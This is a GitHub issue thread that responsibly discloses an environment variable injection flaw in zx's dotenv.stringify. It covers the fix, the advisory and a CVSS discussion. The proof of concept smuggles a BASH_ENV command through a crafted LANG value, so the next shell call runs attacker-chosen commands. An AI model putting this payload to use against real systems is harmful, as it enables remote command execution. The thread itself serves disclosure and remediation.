Environment Variable Injection for env API

[arkark]

I found a vulnerability in env API introduced at version 8.3.1. This issue is the security report.

Note:
I reported it to https://g.co/vulnz according to SECURITY.md. Because the Google Security Team said "Please feel free to publicly disclose this issue on GitHub as a public issue.", I made this issue.

Summary

google/zx has an Environment Variable Injection vulnerability in dotenv.stringify.

If users can control the values of an env object, the application may allow a malicious user to inject environment variables into process.env.

Details

dotenv.stringify uses formatValue:

• https://github.com/webpod/envapi/blob/v0.2.1/src/main/ts/envapi.ts#L74-L77

If the environment value includes ", ', and `, the function improperly formats the value.

PoC

Tested in version zx@8.3.1 (latest)

import { $, dotenv, fs } from "zx";
import assert from "node:assert/strict";

const lang = "en_US\"'`\nBASH_ENV=$(id 1>&2)\nx=`"; // user-controllable

const env = {
  LANG: lang,
};

await fs.writeFile(".env", dotenv.stringify(env));
dotenv.config(".env");

// `BASH_ENV` variable is injected.
assert.equal(process.env.BASH_ENV, "$(id 1>&2)");

await $`echo hello`;
// -> uid=0(root) gid=0(root) groups=0(root)

[antongolub]

@arkark,

Thanks for highlighting this. I'm afraid, there's no way to apply escape logic to dotenv values (like JSON does on serialization), so we can only restrict that kind of values.

[arkark]

Thanks for the quick fix!
You can publish a security advisory for this issue to the Security tab, if you consider it a vulnerability. The decision is yours.

[antonmedv]

I've started the advisory.

[arkark]

@antonmedv
Thanks for publishing the advisory: GHSA-qwp8-x4ff-5h87

I noticed that the Severity value is currently set to 0.0 (default value). I think it should be updated to a more appropriate value, as follows:

• Severity: 9.8 → 8.8
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Weaknesses: CWE-74

Would it be possible to update it?

[antongolub]

@arkark,

Why is UI:N here, if the vector starts from a user-controllable input, as you mentioned previously?
The worst case as I could imagine :

1. croned zx script

const TOKEN = (await (await fetch('https://mitmed.domain.com')).json()).token
const env = {TOKEN}
fs.writeFileSync('.env', dotenv.stringify(env))
dotenv.load('.env')

2. https://mitmed.domain.com compromised

[arkark]

@antongolub
You may be right.

I was imagining a situation that zx is used in server-side of a web application and a query parameter is the value of an env object. However, the dotenv.config function is usually not used in server-side without user-interaction.
I now realize that your scenario is indeed a valid example of the worst case.

I edited #1093 (comment)

[antonmedv]

const TOKEN = (await (await fetch('https://mitmed.domain.com')).json()).token
$.quote = x => x
$`${TOKEN}`